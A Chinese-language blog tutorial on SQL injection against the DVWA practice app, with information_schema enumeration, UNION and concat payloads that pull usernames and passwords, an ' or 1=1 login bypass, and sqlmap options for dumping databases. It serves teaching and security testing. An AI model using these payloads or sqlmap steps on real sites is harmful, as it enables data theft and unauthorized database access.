sql注入的原理

一、web安全渗透测试分类

1.sql注入介绍

1.sql注入在安全问题中排行榜首

2.SQL注入攻击是输入参数未经过滤,然后直接拼接到sql语句中解析

3.sql注入是一种将sql代码添加到参数中,传递到服务器解析并执行的一种攻击手法(例如在用户框中输入:‘or 1=1 --)

二、sql注入危害

1.获取web网站数据库,数据泄露

2.用户数据被非法买卖

3.危害web应用安全

三、sql注入原理

1.攻击者在页面提交恶意字符

2.服务器未对提交参数进行过滤或过滤不足

3.攻击者利用拼接sql语句方式获取数据库敏感信息

1.数据库基本操作回顾

查看所有数据库:show databases

使用库:use dvwa

查看默认库:select database();

查看所有表:show tables;

查看表结构:desc 表;

查看创建表sql语句:show create table users\G ##G:字段以行方式显示

查看当前默认用户:select user();

2.查询语句

查询所有字段:select * from users;

查询指定字段(账号密码为例):select user,password from users;

条件查询:select * from users where user=’admin‘;

逻辑与(两个条件都返回true):select * from users where user = ‘admin’ and user_id=6;

逻辑或(两个条件返回一个true):select * from users where user=‘admin’ or user_id =5

3.联合UNION语句

说明:sql注入漏洞终点使用方式

作用:将两条sql语句联合起来查询

语法:sql1 union sql2

注意:两条sql语句查询字段数必须相同

实操中靶机的数据库列数不可能告知

解决:使用数字代替列,猜测前面表查询列数,若不符合则失败,若符合则查询成功

4.特殊数据库

1.介绍

库名:information_schema

作用:存储mysql中所有库名、表名、列名,是mysql数据的字典

应用:sql注入经常从此库中获取需要的库名、表名、字段名

关注:

tables表:记录mysql库中所有的表

columns表:记录mysql库中所有表和列


2.操作

查看表:

在此路径:select * from TABLES\G;

不在此路径:select * from information_schema.TABLES\G;

PS:\G是mysql中特有的语法,作用是使表内容更直观,其他数据库或图形化软件不支持此命令;

关注字段:

TABLE_SCHEMA:数据库名

TABLE_NAME:表名

COLUMN_NAME:列名

=================

实现show databases;效果

select DISTINCT TABLE_SCHEMA FROM information_schema.TABLES;

实现show tables;效果

select TABLE_NAME FROM information_schema.TABLES where TABLE_SCHEMA=‘数据库名’;

5.sql注释

说明:注释语句不会被执行,在sql中可以将查询条件注释掉

单行注释

语法1#:select * from users;#后面内容不会影响sql语句

语法2–:select * from users;–后面内容不会影响sql语句

多行注释

多行注释(可以当单行用):/**/


场景引入

在这里插入图片描述


6.注入流程

1.收集项目信息(操作系统、数据库类型、web服务器类型)

2.查找注入点

3.注入sql语句

4.获取数据库信息

5.破解数据库管理员账号密码

6.开始sql-shell等工具登录并获取数据

四、手动实现sql注入

1.查找注入点

说明:主要采用单引号、转义字符,以单引号为主;

原理

在这里插入图片描述

启发:有时开发人员为了保证项目的安全,会对一些字符进行过滤,当输入一个字符打乱了原有结构应该报错却没有报错时,说明对此字符进行了过滤


2.逻辑或的应用

说明:sql注入经常使用逻辑或来获取当前表所有信息

目的:获取当前表所有信息(使where后面为true就行,前面会查询所有)

输入:‘or 1=1#

单引号’:闭合前面条件

#:注释后面单引号

在这里插入图片描述

在这里插入图片描述

在框中填入后的sql语句

在这里插入图片描述


3.一些小思考

提问1

为什么用两个分号/为什么分号到下一行就能运行,而不换行则不运行(不换行,在下一行再次输入;也可以运行)

在标准的sql语法中#代表单行注释,即只要是#这行#后面的内容都会被注释包括;,所以我们需要换行来输入分号(输入两个;才执行也是这个原因)才能够让sql语句执行

提问2

为什么在网站中没有换行操作,而sql语句总仍然能够执行呢(虽然有两个;,有换行效果?)


4.案例练习

目标

1.猜测列数

2.获取数据库、表、列

3.获取数据

需求:获取users表中所有的用户名和密码

方案:使用union联合查询所有用户表语句

步骤:

①.猜测字段数

方法一

在这里插入图片描述

在这里插入图片描述

此时sql语句类似为

select * from user where u_id =‘’ union select 1,2,3,4,5,6,7,8,9#’
-> ;

运行结果为

在这里插入图片描述

但是单select * from user where u_id =’‘;运行结果为
在这里插入图片描述

解释

在这里插入图片描述

方法二

’ or 1=1#

在这里插入图片描述

方法三

1’ order by 2#(以第二列属性排序,可以依次真假by后面的数值,如果报错则说明前一个数字是此数据库的字段段数)

在这里插入图片描述

②.获取数据库名

使用语句代替数字

如‘ union select 1,database version()#

此时原本二列就会显示数据库信息

在这里插入图片描述

(为什么会显示? 前面的语句是select 加了很多逗号,也是依次执行select 1 select 2 select 3等等,将数字换成语句则变成了,select database())

③.获取数据库下所有表

’ union select table_name,1 from information_schema.tables where TABLE_SCHEMA=‘dvwa’ #

在这里插入图片描述

④.获取表中所有数据下·

’ union select column_name,1 from information_schema.columns where table_name=‘users’ #

在这里插入图片描述

⑤.查询所有数据

'union select user,password from users#

在这里插入图片描述

五、数据字段限制

目标:

1.分析限制字段数问题

2.concat函数的应用

3.获取多个列数据

分析

问题:由于后台sql默认查询字段数限制,注入时只能获取相同字段的数据

思路:使用concat函数

concat作用:拼接多个字符串为一个字符串

语法:concat(str1,str2)

示例

#获取users表中user_id,user,password,分为两列显示

select user_id,concat(user,password) from dvwa.users;

’ union select user_id,concat(user,password) from dvwa.users#

在这里插入图片描述

#解决user和password拼接在一起问题

select user_id,concat(‘user:’,user,‘password:’,password) from dvwa.users;

'union select user_id,concat(‘user:’,user,‘password:’,password) from dvwa.users#

在这里插入图片描述

六、工具自动实现sql注入

1.前期准备

说明:自动注入是指利用工具代替人工去完成sql注入操作

工具:sqlmap

1.一个开源的渗透测试工具

2.自动检测和利用sql注入漏洞并接管数据库服务器

步骤:

1.终端命令:sqlmp -h 获取帮助

-u :扫描的目标url

–batch:自动处理提示信息

–cookie:附加cookie参数

2.实施步骤
  • 扫描注入点

在这里插入图片描述

解决思路:使用cookie

页面中获取cookie(一些工具,或者f12)

sqlmap扫描时添加cookie参数

在这里插入图片描述

在这里插入图片描述

  • 获取数据库名

–current-db:查询当前web使用的数据名

-D:应用 指定数据库(使用指定数据库需要参数)

  • 获取表名

–tables:查询 指定库下所有表名

-T:指定表(要使用表式需要使用-T指定)

  • 获取字段名

–columns:查询 指定标下所有字段(需要先使用-T指定表)

-C:指定字段名(要使用字段时需要使用-C指定)

  • 获取数据

–dump:下载数据

  • 0
    点赞
  • 0
    收藏
    觉得还不错? 一键收藏
  • 1
    评论
SQL注入是一种常见的网络安全漏洞,攻击者可以通过在用户输入的数据中插入恶意的SQL语句来实现对数据库的非授权访问。 盲注是一种特殊的SQL注入技术,它在攻击过程中无法直接获取到数据库返回的具体信息,但通过不断地进行布尔盲注或时间盲注来推断出数据的一些特征。 在进行盲注时,攻击者通常会使用布尔盲注或时间盲注的方法来逐渐推断出数据库中的信息。布尔盲注是通过构造恶意的SQL语句,利用数据库的布尔逻辑判断条件来判断某个条件是否成立,从而推断出数据的一些特征。时间盲注则是通过构造恶意的SQL语句,利用数据库的延时函数来判断某个条件是否成立,从而推断出数据的一些特征。 例如,在一个登录功能中存在SQL注入漏洞的情况下,攻击者可以构造恶意的输入来绕过登录验证,比如输入 `' OR '1'='1';--`,这会导致SQL语句变成类似 `SELECT * FROM users WHERE username='' OR '1'='1';--' AND password=''` 的形式,其中 `' OR '1'='1'` 的条件永远为真,绕过了用户名和密码的验证。 这就是SQL注入盲注的基本原理,攻击者通过构造恶意的输入来篡改原有的SQL语句,从而获取数据库中的信息或实现其他非授权操作。为了防止SQL注入攻击,开发者需要对用户输入进行严格的验证和过滤,使用参数化查询或预编译语句来防止恶意SQL注入的发生。
评论 1
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值